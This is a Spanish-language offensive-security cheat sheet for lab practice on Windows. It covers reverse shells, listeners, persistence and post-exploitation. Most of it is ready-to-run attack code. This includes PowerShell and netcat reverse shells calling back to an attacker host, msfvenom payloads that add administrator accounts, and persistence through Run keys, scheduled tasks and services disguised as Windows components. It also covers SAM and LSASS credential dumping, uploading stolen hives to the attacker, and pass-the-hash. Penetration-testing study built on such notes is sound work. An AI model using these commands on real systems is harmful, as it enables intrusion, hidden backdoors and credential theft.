b0ysie7e

Appearance

Windows — Reverse Shells, Listeners y Persistencia ​

Cheatsheet para labs de offsec. Reemplaza los valores entre < > con los tuyos.

VariableDescripciónEjemplo
<LHOST>Tu IP en Kali192.168.45.10
<LPORT>Puerto listener4444
<TARGET>IP del Windows192.168.45.200
<USER>Usuario del targetadministrator
<PASS>Contraseña del usuarioWinter2024!
<FILE>Nombre del archivoupdate.exe
<PATH>Ruta destinoC:\Windows\Temp

1. Listeners en Kali ​

Netcat básico ​

bash
nc -lvnp <LPORT>

Netcat + rlwrap (flechas, historial, tab completion) ​

bash
rlwrap nc -lvnp <LPORT>

rlwrap con flags extra (para PowerShell) ​

bash
rlwrap -cAr nc -lvnp <LPORT>

Metasploit multi/handler ​

bash
msfconsole -q -x "use multi/handler; \
  set payload windows/x64/shell_reverse_tcp; \
  set LHOST <LHOST>; \
  set LPORT <LPORT>; \
  run"

Usa Metasploit cuando el payload fue generado con msfvenom — más estable que nc para shells largas.

2. Reverse Shells desde Windows ​

CMD — nc.exe en el target ​

cmd
nc.exe <LHOST> <LPORT> -e cmd.exe

PowerShell — script completo ​

powershell
$client = New-Object System.Net.Sockets.TCPClient("<LHOST>", <LPORT>)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

PowerShell — oneliner ​

powershell
powershell -nop -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('<LHOST>',<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

PowerShell — base64 (bypasa restricciones de comillas) ​

bash
# Generar desde Kali — reemplaza LHOST y LPORT primero
payload='$c=New-Object Net.Sockets.TCPClient("<LHOST>",<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'
echo -n $payload | iconv -t utf-16le | base64 -w 0
cmd
:: Ejecutar en Windows con el base64 generado
powershell -ep bypass -enc <BASE64_AQUI>

3. Generar payloads con msfvenom ​

Ejecutable .exe ​

bash
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f exe -o <FILE>.exe

DLL (para DLL hijacking) ​

bash
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f dll -o <FILE>.dll

PowerShell script ​

bash
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f psh -o <FILE>.ps1

Ejecutable que agrega usuario (sin necesidad de listener) ​

bash
msfvenom -p windows/x64/exec \
  CMD='net user <USER> <PASS> /add && net localgroup Administrators <USER> /add' \
  -f exe -o <FILE>.exe

DLL que agrega usuario (para DLL hijacking sin listener) ​

bash
msfvenom -p windows/x64/exec \
  CMD='net user <USER> <PASS> /add && net localgroup Administrators <USER> /add' \
  -f dll -o <FILE>.dll

4. Transferir archivos al target ​

Desde Kali — servidor HTTP ​

bash
python3 -m http.server 80
# o en otro puerto
python3 -m http.server 8080

Desde Windows — descargar el archivo ​

powershell
# iwr — más común en labs modernos
iwr http://<LHOST>/<FILE> -OutFile <PATH>\<FILE>

# wget (alias de iwr)
wget http://<LHOST>/<FILE> -O <PATH>\<FILE>

# certutil — funciona sin PowerShell
certutil -urlcache -split -f http://<LHOST>/<FILE> <PATH>\<FILE>

# bitsadmin — alternativa si lo anterior está bloqueado
bitsadmin /transfer job http://<LHOST>/<FILE> <PATH>\<FILE>

5. RunasCs — Referencia completa ​

Ejecuta procesos como otro usuario con credenciales explícitas, con control total del logon type.

Tabla de Logon Types ​

TipoNombreCuándo usarloUAC
2InteractiveDefault. Útil para sesiones locales⚠️ Filtrado
3NetworkSin acceso a recursos locales. Para pivoting✅ No filtrado
8NetworkCleartextEl más útil en labs. Guarda creds en memoria, funciona en red✅ No filtrado
9NewCredentialsComo /netonly. Localmente tu token, remotamente el otro usuario✅ No filtrado

Sintaxis ​

cmd
RunasCs.exe <USER> <PASS> <comando> [opciones]

Shell reversa básica ​

cmd
RunasCs.exe <USER> <PASS> cmd.exe -r <LHOST>:<LPORT>

Con logon type 8 — recomendado siempre ​

cmd
RunasCs.exe <USER> <PASS> cmd.exe -r <LHOST>:<LPORT> -l 8

Con bypass UAC ​

cmd
RunasCs.exe <USER> <PASS> cmd.exe -r <LHOST>:<LPORT> --bypass-uac

Combinación óptima para admins locales ​

cmd
RunasCs.exe <USER> <PASS> cmd.exe -r <LHOST>:<LPORT> -l 8 --bypass-uac

Ejecutar comando puntual (con output, sin shell) ​

cmd
RunasCs.exe <USER> <PASS> "cmd /c whoami /all"

Background / timeout 0 (para shells que no deben bloquear) ​

cmd
RunasCs.exe <USER> <PASS> "<PATH>\nc.exe <LHOST> <LPORT> -e cmd.exe" -t 0

Usuario de dominio ​

cmd
RunasCs.exe <USER> <PASS> cmd.exe -d <DOMINIO> -r <LHOST>:<LPORT> -l 8

Remote impersonation (escribir archivos como otro usuario) ​

cmd
RunasCs.exe <USER> <PASS> "cmd /c echo pwned > C:\Windows\Temp\proof.txt" -l 8 --remote-impersonation

Flujo de decisión RunasCs ​

¿Tienes credenciales de admin?
        ↓
Prueba primero: -l 8
        ↓ falla
Agrega: --bypass-uac
        ↓ falla
Agrega: --remote-impersonation
        ↓ falla
Usa: -f 2 (fuerza CreateProcessWithLogonW)

6. Persistencia en Windows ​

¿Qué es persistencia? Es asegurarte de mantener acceso al sistema aunque se reinicie, se cierre tu shell, o el usuario cierre sesión. El objetivo es que tu payload se ejecute automáticamente sin que tengas que explotar de nuevo.

Regla general: usa nombres que parezcan legítimos (WindowsUpdate, SvcHost, MicrosoftEdge) para pasar desapercibido.

6.1 Crear usuario administrador local ​

Qué hace: crea una cuenta nueva en el sistema con contraseña conocida por ti y la mete al grupo Administrators. Es la forma más directa de persistencia — siempre tendrás una puerta trasera con credenciales propias aunque cambien las de los otros usuarios.

Requiere: admin local o SYSTEM.

Cuándo usarlo: cuando quieres acceso garantizado y estable, especialmente si luego vas a conectar por RDP o WinRM.

cmd
net user <USER> <PASS> /add
net localgroup Administrators <USER> /add

Verificar que se creó:

cmd
net user <USER>
net localgroup Administrators

6.2 Habilitar RDP y dar acceso al usuario ​

Qué hace: enciende el protocolo de escritorio remoto (puerto 3389) y agrega tu usuario al grupo que puede conectarse por RDP. Así puedes conectarte gráficamente o con herramientas como xfreerdp desde Kali sin necesitar una shell de cmd.

Requiere: admin local.

Cuándo usarlo: cuando quieres acceso remoto cómodo y estable, o cuando necesitas interacción gráfica con el sistema.

cmd
:: Agregar usuario al grupo RDP
net localgroup "Remote Desktop Users" <USER> /add

:: Habilitar RDP en el registro
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

:: Abrir el firewall para RDP
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Conectar desde Kali:

bash
xfreerdp /u:<USER> /p:<PASS> /v:<TARGET>

6.3 Registro Run — clave de arranque ​

Qué hace: agrega una entrada en el registro de Windows que hace que tu ejecutable se lance automáticamente cada vez que el usuario inicia sesión. Windows revisa esta clave en cada login y ejecuta todo lo que encuentre ahí.

Hay dos variantes según dónde escribas:

  • HKCU (Current User) → solo se ejecuta cuando ese usuario específico inicia sesión. No necesitas admin.
  • HKLM (Local Machine) → se ejecuta para cualquier usuario que inicie sesión. Requiere admin.

Cuándo usarlo: persistencia ligera y rápida. Es de las primeras cosas que revisan los antivirus, pero en labs funciona bien.

cmd
:: Solo para el usuario actual — NO requiere admin
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run ^
  /v WindowsUpdate /t REG_SZ ^
  /d "<PATH>\<FILE>.exe" /f

:: Para todos los usuarios — requiere admin
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run ^
  /v WindowsUpdate /t REG_SZ ^
  /d "<PATH>\<FILE>.exe" /f

Verificar que quedó:

cmd
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Eliminar (limpiar tras el lab):

cmd
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f

6.4 Startup Folder — carpeta de inicio ​

Qué hace: cualquier ejecutable o acceso directo que pongas en la carpeta Startup se ejecuta automáticamente cuando el usuario inicia sesión. Es el equivalente visual de la clave Run del registro — Windows simplemente lanza todo lo que encuentre ahí.

  • Carpeta del usuario actual → solo lanza cuando ese usuario inicia sesión. No requiere admin.
  • Carpeta All Users → lanza para cualquier usuario. Requiere admin.

Cuándo usarlo: alternativa a la clave Run cuando el registro está monitorizado. Más simple y igual de efectivo.

cmd
:: Solo para el usuario actual — NO requiere admin
copy <PATH>\<FILE>.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<FILE>.exe"

:: Para todos los usuarios — requiere admin
copy <PATH>\<FILE>.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<FILE>.exe"

Ver qué hay en la carpeta:

cmd
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

6.5 Tarea programada (Scheduled Task) ​

Qué hace: registra una tarea en el planificador de Windows (Task Scheduler) que ejecuta tu payload según una condición — al iniciar sesión, cada X minutos, al arrancar el sistema, etc. Es más flexible que Run porque puedes hacerla correr como SYSTEM sin que ningún usuario esté logueado.

Cuándo usarlo: cuando necesitas que el payload se ejecute aunque nadie inicie sesión, o a intervalos regulares. Más sigiloso que Run porque los usuarios normalmente no revisan el Task Scheduler.

cmd
:: Al iniciar sesión — usuario actual
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "<PATH>\<FILE>.exe" /sc ONLOGON /ru <USER> /f

:: Cada 5 minutos como SYSTEM — requiere admin
schtasks /create /tn "MicrosoftEdgeUpdate" ^
  /tr "<PATH>\<FILE>.exe" ^
  /sc MINUTE /mo 5 /ru SYSTEM /f

:: Al arrancar el sistema (antes de login) — requiere admin
schtasks /create /tn "MicrosoftEdgeUpdate" ^
  /tr "<PATH>\<FILE>.exe" ^
  /sc ONSTART /ru SYSTEM /f

Ver la tarea creada:

cmd
schtasks /query /tn "MicrosoftEdgeUpdate" /fo LIST /v

Ejecutar manualmente para probar:

cmd
schtasks /run /tn "MicrosoftEdgeUpdate"

Eliminar:

cmd
schtasks /delete /tn "MicrosoftEdgeUpdate" /f

6.6 Servicio de Windows ​

Qué hace: registra tu ejecutable como un servicio del sistema. Los servicios arrancan automáticamente con Windows (antes de que cualquier usuario inicie sesión), corren en segundo plano, y por defecto lo hacen como SYSTEM si no especificas otra cuenta. Es la persistencia más robusta y estable.

Requiere: admin local obligatoriamente.

Cuándo usarlo: cuando quieres la persistencia más persistente — sobrevive reinicios, no depende de que nadie inicie sesión, y corre con los máximos privilegios.

cmd
:: Crear el servicio
sc create "WindowsHelper" binpath= "<PATH>\<FILE>.exe" start= auto obj= LocalSystem

:: Darle una descripción que parezca legítima
sc description "WindowsHelper" "Provides support for Windows system components"

:: Iniciarlo inmediatamente sin esperar reinicio
sc start "WindowsHelper"

Verificar estado:

cmd
sc query "WindowsHelper"
sc qc "WindowsHelper"

Parar y eliminar:

cmd
sc stop "WindowsHelper"
sc delete "WindowsHelper"

El binario debe estar preparado para correr como servicio — un exe de reverse shell normal puede fallar porque Windows espera que el proceso responda al SCM (Service Control Manager). Usa msfvenom con payload de servicio o un wrapper.

bash
# Payload de servicio desde Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
  -f exe-service -o <FILE>.exe

6.7 WinRM — acceso remoto por PowerShell ​

Qué hace: habilita el servicio de administración remota de Windows (puerto 5985/5986). Una vez habilitado, puedes conectarte desde Kali con evil-winrm y obtener una shell de PowerShell completa sin necesitar explotar nada de nuevo — solo con credenciales o hash.

Requiere: admin local para habilitarlo.

Cuándo usarlo: cuando quieres una shell limpia, interactiva y estable desde Kali. Evil-winrm incluye transferencia de archivos, carga de módulos de PS, y más.

powershell
:: Habilitar WinRM en el target
Enable-PSRemoting -Force

:: Verificar que está escuchando
netstat -an | findstr "5985"

Conectar desde Kali:

bash
# Con contraseña
evil-winrm -i <TARGET> -u <USER> -p <PASS>

# Con hash NTLM (pass-the-hash)
evil-winrm -i <TARGET> -u <USER> -H <NTLM_HASH>

Desde dentro de evil-winrm — subir y bajar archivos:

powershell
# Subir archivo desde Kali al target
upload /ruta/kali/<FILE> C:\Windows\Temp\<FILE>

# Bajar archivo del target a Kali
download C:\Windows\Temp\<FILE> /ruta/kali/<FILE>

Tabla resumen de persistencia ​

MétodoRequiere adminSe ejecuta cuandoSupervive reinicioRuido
Usuario nuevo✅ SíLogin manual / RDP / WinRM✅ SíMedio
RDP habilitado✅ SíLogin manual✅ SíBajo
Registro Run (HKCU)❌ NoLogin del usuario✅ SíAlto
Registro Run (HKLM)✅ SíLogin de cualquier usuario✅ SíAlto
Startup folder (usuario)❌ NoLogin del usuario✅ SíMedio
Startup folder (All Users)✅ SíLogin de cualquier usuario✅ SíMedio
Scheduled Task (ONLOGON)❌ NoLogin del usuario✅ SíBajo
Scheduled Task (SYSTEM)✅ SíSin necesidad de login✅ SíBajo
Servicio de Windows✅ SíAl arrancar Windows✅ SíBajo
WinRM habilitado✅ SíCuando te conectas tú✅ SíBajo

7. Post-explotación rápida ​

Verificación al obtener shell ​

cmd
whoami
whoami /priv
whoami /groups
net localgroup administrators

Dump SAM con Backup Operators o SYSTEM ​

cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\sys.save
reg save HKLM\SECURITY C:\Windows\Temp\sec.save
bash
# Desde Kali — extraer hashes
impacket-secretsdump -sam sam.save -system sys.save -security sec.save LOCAL

Pass-the-hash con el hash obtenido ​

bash
impacket-psexec -hashes :<NTLM_HASH> <USER>@<TARGET>
evil-winrm -i <TARGET> -u <USER> -H <NTLM_HASH>
impacket-wmiexec -hashes :<NTLM_HASH> <USER>@<TARGET>

Crackear el hash NTLM ​

bash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

8. Dump de hashes NTLM — Windows 10 sin dominio ​

Requieres ser SYSTEM o Administrador local para hacer el dump. En máquinas sin dominio los hashes están en el SAM (usuarios locales) y en LSASS (sesiones activas).

Método A — Desde la shell en el target (reg save) ​

Paso 1 — Volcar los hives desde Windows ​

cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\sys.save
reg save HKLM\SECURITY C:\Windows\Temp\sec.save

Paso 2 — Bajar los archivos a Kali ​

powershell
# Desde Windows — sube los archivos a tu servidor
iwr -Method PUT http://<LHOST>/sam.save -InFile C:\Windows\Temp\sam.save
iwr -Method PUT http://<LHOST>/sys.save -InFile C:\Windows\Temp\sys.save
bash
# O desde Kali descarga con impacket-smbserver
impacket-smbserver share . -smb2support
# Desde Windows:
# copy C:\Windows\Temp\sam.save \\<LHOST>\share\sam.save

Paso 3 — Extraer hashes en Kali con impacket-secretsdump ​

bash
impacket-secretsdump -sam sam.save -system sys.save -security sec.save LOCAL

Output esperado:

[*] Target system bootKey: 0xabcdef1234567890abcdef1234567890
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<USER>:1001:aad3b435b51404eeaad3b435b51404ee:<NTLM_HASH>:::

El hash que te interesa es el último campo — el NT hash (después del tercer :).

Método B — Remoto directo con impacket-secretsdump (sin tocar el target) ​

Requieres credenciales válidas de admin local o su hash.

bash
# Con usuario y contraseña
impacket-secretsdump <USER>:<PASS>@<TARGET>

# Con hash (pass-the-hash para dumpear)
impacket-secretsdump -hashes :<NTLM_HASH> <USER>@<TARGET>

# Solo SAM (usuarios locales, más limpio)
impacket-secretsdump <USER>:<PASS>@<TARGET> -just-dc-ntlm

# Forzar método SAMr (si el método por defecto falla)
impacket-secretsdump <USER>:<PASS>@<TARGET> -use-vss

Método C — Remoto con NetExec (nxc) ​

nxc es más rápido para verificar y dumpear en un solo paso.

Verificar que las credenciales son válidas primero ​

bash
nxc smb <TARGET> -u <USER> -p <PASS>
# Output esperado: [+] <TARGET> <USER>:<PASS> (Pwn3d!) ← confirma admin local

Dump del SAM (usuarios locales y sus hashes) ​

bash
nxc smb <TARGET> -u <USER> -p <PASS> --sam

Dump de LSA secrets (credenciales en caché, servicios) ​

bash
nxc smb <TARGET> -u <USER> -p <PASS> --lsa

Dump completo SAM + LSA ​

bash
nxc smb <TARGET> -u <USER> -p <PASS> --sam --lsa

Con hash en vez de contraseña ​

bash
nxc smb <TARGET> -u <USER> -H <NTLM_HASH> --sam
nxc smb <TARGET> -u <USER> -H <NTLM_HASH> --lsa

Dumpear LSASS (sesiones activas — más ruidoso) ​

bash
nxc smb <TARGET> -u <USER> -p <PASS> -M lsassy
nxc smb <TARGET> -u <USER> -p <PASS> -M nanodump

Método D — Dump de LSASS desde el target (sesiones activas) ​

Útil cuando hay usuarios logueados y quieres sus credenciales en texto o hashes.

Con Task Manager (GUI — no siempre disponible) ​

Task Manager → Details → lsass.exe → Right click → Create dump file

Con comsvcs.dll (sin herramientas extra) ​

powershell
# Obtener PID de lsass
Get-Process lsass

# Crear dump
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <PID_LSASS> C:\Windows\Temp\lsass.dmp full

Descargar el dump y parsearlo en Kali ​

bash
# Parsear con pypykatz
pypykatz lsa minidump lsass.dmp

# O con impacket
impacket-secretsdump -lsass lsass.dmp LOCAL

Tabla resumen — cuándo usar cada método ​

MétodoAcceso requeridoRuidoObtiene
reg save + secretsdump LOCALSYSTEM en targetBajoHashes SAM locales
secretsdump remotoAdmin local + redMedioHashes SAM + LSA
nxc --samAdmin local + redMedioHashes SAM locales
nxc --lsaAdmin local + redMedioLSA secrets, creds caché
nxc -M lsassyAdmin local + redAltoHashes + plaintext activos
comsvcs.dll dumpSYSTEM en targetAltoTodo lo de LSASS

Pass-the-hash con los hashes obtenidos ​

En Windows 10 sin dominio, el PTH funciona solo con el RID-500 (Administrator) por defecto. Para otros admins locales necesitas: LocalAccountTokenFilterPolicy = 1

Verificar si PTH funciona ​

bash
nxc smb <TARGET> -u <USER> -H <NTLM_HASH>
# Si sale (Pwn3d!) → funciona

Shell con impacket-psexec ​

bash
impacket-psexec -hashes :<NTLM_HASH> <USER>@<TARGET>
# Devuelve SYSTEM

Shell con impacket-wmiexec ​

bash
impacket-wmiexec -hashes :<NTLM_HASH> <USER>@<TARGET>
# Devuelve cmd como el usuario

Shell con impacket-smbexec ​

bash
impacket-smbexec -hashes :<NTLM_HASH> <USER>@<TARGET>
# Alternativa si psexec falla

Shell con evil-winrm (puerto 5985) ​

bash
evil-winrm -i <TARGET> -u <USER> -H <NTLM_HASH>
# Requiere que WinRM esté habilitado

Habilitar PTH para admins locales no-RID500 (si tienes acceso) ​

cmd
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System \
  /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Crackear el hash si PTH no funciona ​

bash
# Hashcat modo NTLM
hashcat -m 1000 <NTLM_HASH> /usr/share/wordlists/rockyou.txt

# Con reglas (más potente)
hashcat -m 1000 <NTLM_HASH> /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# John the Ripper
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

10. Flujo completo de escalada ​

[Shell como usuario bajo privilegio]
            ↓
    Subir winPEASx64.exe
    iwr http://<LHOST>/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe
            ↓
    Identificar vector:
    ┌─────────────────────────────────────────────┐
    │ Credenciales encontradas → RunasCs          │
    │ DLL Hijacking → msfvenom DLL → plantar      │
    │ Servicio modificable → sc config binpath    │
    │ AlwaysInstallElevated → msfvenom .msi       │
    │ CVE sin parchear → PoC precompilado         │
    └─────────────────────────────────────────────┘
            ↓
    [Shell como Admin / SYSTEM]
            ↓
    reg save SAM + SYSTEM → impacket-secretsdump
            ↓
    Hashes → pass-the-hash o hashcat
            ↓
    [Control total de la máquina]